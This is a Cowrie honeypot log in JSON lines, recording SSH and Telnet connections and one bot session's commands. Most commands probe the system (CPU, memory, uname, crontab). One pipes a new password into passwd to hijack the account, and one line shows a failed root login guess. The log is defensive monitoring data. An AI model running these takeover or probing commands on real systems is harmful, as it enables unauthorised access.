{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:03.535233Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:03.753359Z","src_ip":"177.36.200.182","session":"dbf10d9cbabe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:03.766975Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:04.218668Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2020\\n9ks7kiuoksna\\n9ks7kiuoksna\"|passwd|bash","message":"CMD: echo -e \"admin@2020\\n9ks7kiuoksna\\n9ks7kiuoksna\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:04.222719Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:04.227619Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:04.231567Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f9300d55aaa7ba3f467af86aae88929adcbc7f4cb3d4f8a703d28d60fa73b348","size":32,"shasum":"f9300d55aaa7ba3f467af86aae88929adcbc7f4cb3d4f8a703d28d60fa73b348","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f9300d55aaa7ba3f467af86aae88929adcbc7f4cb3d4f8a703d28d60fa73b348 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:04.450930Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:04.950670Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2020\\n9ks7kiuoksna\\n9ks7kiuoksna\\n\"|passwd","message":"CMD: echo \"admin@2020\\n9ks7kiuoksna\\n9ks7kiuoksna\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:04.954490Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc961b9af59d8acb20618c6bbcd7b2c09e0014fba1b1788d8dbb6ab74301f0c6","size":25,"shasum":"cc961b9af59d8acb20618c6bbcd7b2c09e0014fba1b1788d8dbb6ab74301f0c6","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc961b9af59d8acb20618c6bbcd7b2c09e0014fba1b1788d8dbb6ab74301f0c6 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:05.170638Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:06.015855Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:06.019719Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R@@t","message":"login attempt [root/R@@t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:06.069886Z","src_ip":"177.36.200.182","session":"dbf10d9cbabe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:06.239798Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:06.723660Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:06.727633Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:06.945293Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:07.419015Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:07.423112Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:07.427183Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47006,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf441ff2fc9","protocol":"telnet","message":"New connection: 137.184.155.248:47006 (10.17.0.5:23) [session: ccf441ff2fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:07.436505Z"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:07.480377Z","src_ip":"177.36.200.182","session":"dbf10d9cbabe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:07.645413Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47008,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0532ff52a8e","protocol":"telnet","message":"New connection: 137.184.155.248:47008 (10.17.0.5:23) [session: d0532ff52a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:07.741731Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:08.120649Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:08.124395Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:08.340776Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:08.814394Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:08.818060Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:09.034683Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.646358489990234,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:09.386823Z","src_ip":"137.184.155.248","session":"5692d7c36207","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:09.518028Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:09.521986Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:09.737223Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:10.210421Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:10.214273Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:10.431123Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:10.912493Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:10.916473Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:11.132993Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:11.652796Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:11.656798Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:11.877392Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:12.347585Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:12.351146Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:12.566394Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:13.041727Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:13.044697Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:13.259492Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:13.760315Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:13.763750Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:13.981072Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:14.456471Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:14.460086Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:14.678149Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.9","message":"Connection lost after 18.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:14.683331Z","src_ip":"112.151.178.49","session":"e91367eb2c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37354,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac363cc83b91","protocol":"telnet","message":"New connection: 137.184.155.248:37354 (10.17.0.5:23) [session: ac363cc83b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:18.360710Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42552,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df1909b38b4","protocol":"telnet","message":"New connection: 137.184.155.248:42552 (10.17.0.5:23) [session: 4df1909b38b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:24.431379Z"}
{"eventid":"cowrie.session.closed","duration":40.34355187416077,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:29.764256Z","src_ip":"137.184.155.248","session":"4c369e2a81c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42560,"dst_ip":"10.17.0.5","dst_port":23,"session":"14f2b70206bf","protocol":"telnet","message":"New connection: 137.184.155.248:42560 (10.17.0.5:23) [session: 14f2b70206bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:31.894309Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a6a0c85285","protocol":"telnet","message":"New connection: 137.184.155.248:36082 (10.17.0.5:23) [session: b5a6a0c85285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:34.599377Z"}
{"eventid":"cowrie.session.closed","duration":3.7403478622436523,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:35.634573Z","src_ip":"137.184.155.248","session":"14f2b70206bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.350280284881592,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:38.949543Z","src_ip":"137.184.155.248","session":"b5a6a0c85285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36086,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5caf6eda717","protocol":"telnet","message":"New connection: 137.184.155.248:36086 (10.17.0.5:23) [session: f5caf6eda717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:40.898041Z"}
